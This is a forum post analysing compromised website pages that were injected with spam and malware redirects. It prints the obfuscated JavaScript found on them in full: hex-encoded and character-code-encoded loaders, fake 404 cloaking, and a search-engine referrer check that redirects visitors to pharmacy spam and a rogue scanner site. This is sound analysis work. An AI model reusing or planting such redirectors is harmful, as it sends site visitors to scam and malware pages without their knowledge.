The first ones I come across which were not on Italian sites were promoting pharmaceutical sites.
Like:
hxxp://carlosandaudrey.com/portal_memberdata/portraits/buy50mgtramadolbuy
hxxp://cvcet.org.uk/portal_memberdata/portraits/buycodtramadolbuy
<script>document.title='Document: Loading... please wait';</script>
<SCRIPT language=javascript>
<!--
function getme(str)
{ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; idx += 2,i++)
{ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } return new_str;
}
var ref=escape(document.referrer); document.write("<script src='" + getme("http://www.live.com/?6772716C3529285C6665675B58601F535E5B1C4F5253164A50541457574355530D4144451A4B164C4937423537413D") + "&ref="+ref+"'></script>");
//--> </SCRIPT>Which should give the URL:
hxxp://doorgen.com/cgi-bin/stats.cgi?q=tramadol&ref=%68%74%74%70%3a%2f%2f%63%61%72%6c%6f%73%61%6e%64%61%75%64%72%65%79%2e%63%6f%6d%2f%70%6f%72%74%61%6c%5f%6d%65%6d%62%65%72%64%61%74%61%2f%70%6f%72%74%72%61%69%74%73%2f%62%75%79%35%30%6d%67%74%72%61%6d%61%64%6f%6c%62%75%79
Which just leads to pharmaceutical sites:
document.write("<scr"+"ipt>do"+"cum"+"ent"+"."+"lo"+"cat"+"ion"+"."+"hr"+"ef='http://www.havepharma.com/?aid=7752&q=tramadol'</scr"+"ipt>");And:
document.write("<scr"+"ipt>do"+"cum"+"ent"+"."+"lo"+"cat"+"ion"+"."+"hr"+"ef='http://www.pharma-next.com/?aid=7752&q=tramadol'</scr"+"ipt>");Unless you don't use a proper escaped URL as a referrer, in which case it will simply give:
function myf(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!62!10!100!111!99!117!109!101!110!116!46!119!114!105!116!101!40!39!60!104!49!62!52!48!52!32!69!114!114!111!114!32!45!32!68!111!99!117!109!101!110!116!32!78!111!116!32!70!111!117!110!100!60!47!104!49!62!39!41!59!10!100!111!99!117!109!101!110!116!46!119!114!105!116!101!40!39!60!100!105!118!32!115!116!121!108!101!61!34!100!105!39!43!39!115!112!108!97!121!58!110!111!110!101!34!62!39!41!59!10!60!47!115!99!114!105!112!116!62!10!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);} myf();<script>
document.write('<h1>404 Error - Document Not Found</h1>');
document.write('<div style="di'+'splay:none">');
</script>
But then I came across some sites which are what you're talking about I think.
hxxp://www.optiwin.net/portal_memberdata/portraits/inevitt
<script type="text/javascript"><!--
if(isse()) sego('ht'+'tp:'+'/'+'/'+
'69.1'+'.7'+'4.16/i'+'n/?');
else location.replace('404.html');
function isse() {
if(isr("&q=")||isr("?q=")||isr("google.")||
isr("msn.")||isr("yahoo.")||isr("altavista.")||
isr("aol.")||isr("ask.")||isr("eureka.com.")||
isr("lycos.com.")||isr("bellsouth.net")) return 1;
return 0;
}
function isr(p){if(document.referrer.indexOf(p)!=-1) return 1;return 0;}
function sego(srv) {
d = 'docu'+'ment.loca'+'tion=';
qstr = 'xq=porn'+'&xkw='+encodeURIComponent('french porn')+
'&xref='+encodeURIComponent(document.referrer)+'&xloc='+
encodeURIComponent(document.location);
code = d+'"'+srv+qstr+'"';eval(unescape(code));
}
--></script>Just checks if your referrer is a known search engine. If it is, it will direct you to:
http://69.1.74.16/in/?xq=porn&xkw=french%20porn&xref=undefined&xloc=undefined
This IP has already appeared in the domain list for Zlob. But now it will be in there again for promoting Rogue software, because the URL above leads you to:
hxxp://scanner.shredder-scanner.com/5/?advid=1315
However if no search engine was detected as your referrer, then you're simply redirected to:
hxxp://www.optiwin.net/portal_memberdata/portraits/404.html
Is this what you are talking about or is there a driveby installation using exploits? I haven't checked many sites yet, and the .it sites I have checked have been offline.
Topic: A new considerable amount of italian sites hosting hidden malware (Read 6761 times)